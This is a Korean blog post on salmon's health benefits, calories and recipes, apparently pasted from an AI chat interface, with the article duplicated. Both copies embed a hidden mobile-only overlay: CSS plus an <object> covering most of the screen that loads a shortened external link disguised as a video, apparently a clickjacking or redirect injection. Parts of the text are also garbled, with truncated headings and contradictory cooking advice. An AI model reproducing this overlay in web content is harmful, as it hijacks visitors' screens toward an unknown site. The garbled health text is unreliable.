건강에 좋은 연어 칼로리 및

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3d" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c3571917390="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:43">연어, 건강을 위한 최고의 선택! 칼로리와 함께 알아보는 연어의 모든 것</h2><p data-sourcepos="3:1-3:194">연어는 맛과 건강을 동시에 잡을 수 있는 최고의 식재료입니다. 풍부한 오메가-3 지방산은 심혈관 건강에 좋고, 단백질은 근육 성장을 돕습니다. 하지만 연어의 칼로리는 종류와 조리법에 따라 다르기 때문에 궁금해하시는 분들이 많을 텐데요. 지금부터 연어의 칼로리와 건강 에 대해 자세히 알아보고, 맛있는 연어 요리 까지 함께 감상해 보세요!</p><h3 data-sourcepos="5:1-5:14">연어의 놀라운 </h3><ul data-sourcepos="7:1-12:0"> <li data-sourcepos="7:1-7:75"><strong>심혈관 예방:</strong> 연어에 풍부한 오메가-3 지방산은 혈압을 낮추고 혈관 건강을 개선하여 심혈관 예방에 도움을 줍니다.</li> <li data-sourcepos="8:1-8:60"><strong>뇌 건강 증진:</strong> 오메가-3 지방산은 뇌 기능을 향상시키고 기억력 감퇴를 예방하는 데 적입니다.</li> <li data-sourcepos="9:1-9:57"><strong>우울증 완화:</strong> 연어에 함유된 비타민 D는 우울증 을 완화하는 데 도움을 줄 수 있습니다.</li> <li data-sourcepos="10:1-10:50"><strong>눈 건강 증진:</strong> 오메가-3 지방산은 눈 건강을 유지하고 시력 저하를 예방합니다.</li> <li data-sourcepos="11:1-12:0"><strong>피부 미용:</strong> 연어에 함유된 비타민 E는 항산화 작용을 통해 피부를 젊게 유지하는 데 도움을 줍니다.</li> </ul><h3 data-sourcepos="13:1-13:21">연어의 칼로리, 얼마나 될까요?</h3><p data-sourcepos="15:1-15:58">연어의 칼로리는 부위와 조리법에 따라 다르지만, 일반적으로 100g당 150~200kcal 정도입니다.</p><ul data-sourcepos="16:1-19:0"> <li data-sourcepos="16:1-16:26"><strong>생연어:</strong> 100g당 약 160kcal</li> <li data-sourcepos="17:1-17:28"><strong>구운 연어:</strong> 100g당 약 180kcal</li> <li data-sourcepos="18:1-19:0"><strong>훈제 연어:</strong> 100g당 약 200kcal</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_56d39dfe0d290663&quot;,&quot;c_cccfc90ae0a10bf8&quot;,null,&quot;rc_c0ee31e1f72ff491&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://m.dietshin.com/community/bbs_view.asp?idx=3170454"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="연어 칼로리 비교 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcQX1ozh2ul17ojHVAfl4QsYdCEBWf3tmWGnaAHtWnD2BmQq0ih6CugNskY-Eiv0"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://m.dietshin.com/community/bbs_view.asp?idx=3170454" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_56d39dfe0d290663&quot;,&quot;c_cccfc90ae0a10bf8&quot;,null,&quot;rc_c0ee31e1f72ff491&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcSSydMMb3w7Cbov6Vwwxu3R04yjj2SaXjX2BUBK3ZKNHnR-YfLhjacwwMhe1zkq_Cs5u-hBa0e7jg8THKeUpEQQIBtrmHfsLTA"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">m.dietshin.com</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 연어 칼로리 비교 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="22:1-22:22">연어 요리, 다양하게 즐겨보세요!</h3><p data-sourcepos="24:1-24:90">연어는 다양한 요리에 활용할 수 있는 만능 식재료입니다. 구이, 찜, 스테이크 등 다양한 조리법으로 즐길 수 있으며, 샐러드나 샌드위치에 넣어 먹어도 좋습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_56d39dfe0d290663&quot;,&quot;c_cccfc90ae0a10bf8&quot;,null,&quot;rc_c0ee31e1f72ff491&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://wtable.co.kr/recipes/hk5UNkHm1EwdWABZp55vrJgE"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="연어 스테이크 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcT4AvFdrojzIX5FiBHCTxNqZIe3p_yscXFA-s9aMsNtsz2HcB6xbHZrdPw6O45G"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://wtable.co.kr/recipes/hk5UNkHm1EwdWABZp55vrJgE" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_56d39dfe0d290663&quot;,&quot;c_cccfc90ae0a10bf8&quot;,null,&quot;rc_c0ee31e1f72ff491&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn3.gstatic.com/-tbn?q=tbn:ANd9GcSplMbeWaIJb_u15wME2OjJosivXTp4AJvg9HovE3o-ttouKAD-S_Ilj7FFZ5ir1o0Q8d5HZEC7nzP6Ro2yIK1iyFDZcY0W"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">wtable.co.kr</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 연어 스테이크 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_56d39dfe0d290663&quot;,&quot;c_cccfc90ae0a10bf8&quot;,null,&quot;rc_c0ee31e1f72ff491&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6899785"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="연어 샐러드 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRvmwHL1iPOjVRndE2hI6NPEFSkEJjh934IzLIIaB2LT2oHKH9Cz2xWjzAa01pi"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6899785" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_56d39dfe0d290663&quot;,&quot;c_cccfc90ae0a10bf8&quot;,null,&quot;rc_c0ee31e1f72ff491&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 연어 샐러드 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_56d39dfe0d290663&quot;,&quot;c_cccfc90ae0a10bf8&quot;,null,&quot;rc_c0ee31e1f72ff491&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6897870"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="연어 덮밥 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcT9xs1mPIpmq7YaetQkUdBEb7kym8NhWzBxQfcgMbp_qldQc6oA0scMu1UF5Rb4"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6897870" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_56d39dfe0d290663&quot;,&quot;c_cccfc90ae0a10bf8&quot;,null,&quot;rc_c0ee31e1f72ff491&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 연어 덮밥 </div></div></single-image></response-element></div></p><h3 data-sourcepos="30:1-30:19">연어, 건강하게 즐기는 방법</h3><ul data-sourcepos="32:1-35:0"> <li data-sourcepos="32:1-32:60"><strong>기름에 굽거나 쪄서 먹기:</strong> 기름에 굽거나 쪄서 먹으면 연어의 영양소 손실을 최소화할 수 있습니다.</li> <li data-sourcepos="33:1-33:58"><strong>소스는 가볍게:</strong> 소스는 간장, 레몬즙, 허브 등을 이용하여 가볍게 만들어 먹는 것이 좋습니다.</li> <li data-sourcepos="34:1-35:0"><strong>야채와 함께 곁들여 먹기:</strong> 연어와 함께 다양한 채소를 곁들여 먹으면 영양 균형을 맞출 수 있습니다.</li> </ul><h3 data-sourcepos="36:1-36:6">결론</h3><p data-sourcepos="38:1-38:119">연어는 맛과 건강을 모두 챙길 수 있는 최고의 식재료입니다. 칼로리도 적당하고, 다양한 영양소가 풍부하여 건강한 식단을 구성하는 데 큰 도움이 됩니다. 오늘 저녁 식탁에는 연어 요리를 준비해 보는 것은 어떨까요?</p><p data-sourcepos="40:1-40:37"><strong>주의:</strong> 알레르기가 있는 경우 연어 섭취 시 주의해야 합니다.</p><p data-sourcepos="42:1-42:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요!</strong></p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3d" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c3571917390="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:43">연어, 건강을 위한 최고의 선택! 칼로리와 함께 알아보는 연어의 모든 것</h2><p data-sourcepos="3:1-3:194">연어는 맛과 건강을 동시에 잡을 수 있는 최고의 식재료입니다. 풍부한 오메가-3 지방산은 심혈관 건강에 좋고, 단백질은 근육 성장을 돕습니다. 하지만 연어의 칼로리는 종류와 조리법에 따라 다르기 때문에 궁금해하시는 분들이 많을 텐데요. 지금부터 연어의 칼로리와 건강 에 대해 자세히 알아보고, 맛있는 연어 요리 까지 함께 감상해 보세요!</p><h3 data-sourcepos="5:1-5:14">연어의 놀라운 </h3><ul data-sourcepos="7:1-12:0"> <li data-sourcepos="7:1-7:75"><strong>심혈관 예방:</strong> 연어에 풍부한 오메가-3 지방산은 혈압을 낮추고 혈관 건강을 개선하여 심혈관 예방에 도움을 줍니다.</li> <li data-sourcepos="8:1-8:60"><strong>뇌 건강 증진:</strong> 오메가-3 지방산은 뇌 기능을 향상시키고 기억력 감퇴를 예방하는 데 적입니다.</li> <li data-sourcepos="9:1-9:57"><strong>우울증 완화:</strong> 연어에 함유된 비타민 D는 우울증 을 완화하는 데 도움을 줄 수 있습니다.</li> <li data-sourcepos="10:1-10:50"><strong>눈 건강 증진:</strong> 오메가-3 지방산은 눈 건강을 유지하고 시력 저하를 예방합니다.</li> <li data-sourcepos="11:1-12:0"><strong>피부 미용:</strong> 연어에 함유된 비타민 E는 항산화 작용을 통해 피부를 젊게 유지하는 데 도움을 줍니다.</li> </ul><h3 data-sourcepos="13:1-13:21">연어의 칼로리, 얼마나 될까요?</h3><p data-sourcepos="15:1-15:58">연어의 칼로리는 부위와 조리법에 따라 다르지만, 일반적으로 100g당 150~200kcal 정도입니다.</p><ul data-sourcepos="16:1-19:0"> <li data-sourcepos="16:1-16:26"><strong>생연어:</strong> 100g당 약 160kcal</li> <li data-sourcepos="17:1-17:28"><strong>구운 연어:</strong> 100g당 약 180kcal</li> <li data-sourcepos="18:1-19:0"><strong>훈제 연어:</strong> 100g당 약 200kcal</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_56d39dfe0d290663","c_cccfc90ae0a10bf8",null,"rc_c0ee31e1f72ff491",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://m.dietshin.com/community/bbs_view.asp?idx=3170454"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="연어 칼로리 비교 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQX1ozh2ul17ojHVAfl4QsYdCEBWf3tmWGnaAHtWnD2BmQq0ih6CugNskY-Eiv0"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://m.dietshin.com/community/bbs_view.asp?idx=3170454" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_56d39dfe0d290663","c_cccfc90ae0a10bf8",null,"rc_c0ee31e1f72ff491",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSSydMMb3w7Cbov6Vwwxu3R04yjj2SaXjX2BUBK3ZKNHnR-YfLhjacwwMhe1zkq_Cs5u-hBa0e7jg8THKeUpEQQIBtrmHfsLTA"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">m.dietshin.com</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 연어 칼로리 비교 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="22:1-22:22">연어 요리, 다양하게 즐겨보세요!</h3><p data-sourcepos="24:1-24:90">연어는 다양한 요리에 활용할 수 있는 만능 식재료입니다. 구이, 찜, 스테이크 등 다양한 조리법으로 즐길 수 있으며, 샐러드나 샌드위치에 넣어 먹어도 좋습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_56d39dfe0d290663","c_cccfc90ae0a10bf8",null,"rc_c0ee31e1f72ff491",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://wtable.co.kr/recipes/hk5UNkHm1EwdWABZp55vrJgE"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="연어 스테이크 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcT4AvFdrojzIX5FiBHCTxNqZIe3p_yscXFA-s9aMsNtsz2HcB6xbHZrdPw6O45G"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://wtable.co.kr/recipes/hk5UNkHm1EwdWABZp55vrJgE" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_56d39dfe0d290663","c_cccfc90ae0a10bf8",null,"rc_c0ee31e1f72ff491",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSplMbeWaIJb_u15wME2OjJosivXTp4AJvg9HovE3o-ttouKAD-S_Ilj7FFZ5ir1o0Q8d5HZEC7nzP6Ro2yIK1iyFDZcY0W"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">wtable.co.kr</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 연어 스테이크 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_56d39dfe0d290663","c_cccfc90ae0a10bf8",null,"rc_c0ee31e1f72ff491",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6899785"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="연어 샐러드 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRvmwHL1iPOjVRndE2hI6NPEFSkEJjh934IzLIIaB2LT2oHKH9Cz2xWjzAa01pi"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6899785" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_56d39dfe0d290663","c_cccfc90ae0a10bf8",null,"rc_c0ee31e1f72ff491",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 연어 샐러드 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_56d39dfe0d290663","c_cccfc90ae0a10bf8",null,"rc_c0ee31e1f72ff491",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6897870"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="연어 덮밥 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcT9xs1mPIpmq7YaetQkUdBEb7kym8NhWzBxQfcgMbp_qldQc6oA0scMu1UF5Rb4"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6897870" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_56d39dfe0d290663","c_cccfc90ae0a10bf8",null,"rc_c0ee31e1f72ff491",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 연어 덮밥 </div></div></single-image></response-element></div></p><h3 data-sourcepos="30:1-30:19">연어, 건강하게 즐기는 방법</h3><ul data-sourcepos="32:1-35:0"> <li data-sourcepos="32:1-32:60"><strong>기름에 굽거나 쪄서 먹기:</strong> 기름에 굽거나 쪄서 먹으면 연어의 영양소 손실을 최소화할 수 있습니다.</li> <li data-sourcepos="33:1-33:58"><strong>소스는 가볍게:</strong> 소스는 간장, 레몬즙, 허브 등을 이용하여 가볍게 만들어 먹는 것이 좋습니다.</li> <li data-sourcepos="34:1-35:0"><strong>야채와 함께 곁들여 먹기:</strong> 연어와 함께 다양한 채소를 곁들여 먹으면 영양 균형을 맞출 수 있습니다.</li> </ul><h3 data-sourcepos="36:1-36:6">결론</h3><p data-sourcepos="38:1-38:119">연어는 맛과 건강을 모두 챙길 수 있는 최고의 식재료입니다. 칼로리도 적당하고, 다양한 영양소가 풍부하여 건강한 식단을 구성하는 데 큰 도움이 됩니다. 오늘 저녁 식탁에는 연어 요리를 준비해 보는 것은 어떨까요?</p><p data-sourcepos="40:1-40:37"><strong>주의:</strong> 알레르기가 있는 경우 연어 섭취 시 주의해야 합니다.</p><p data-sourcepos="42:1-42:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요!</strong></p></div> </div></div>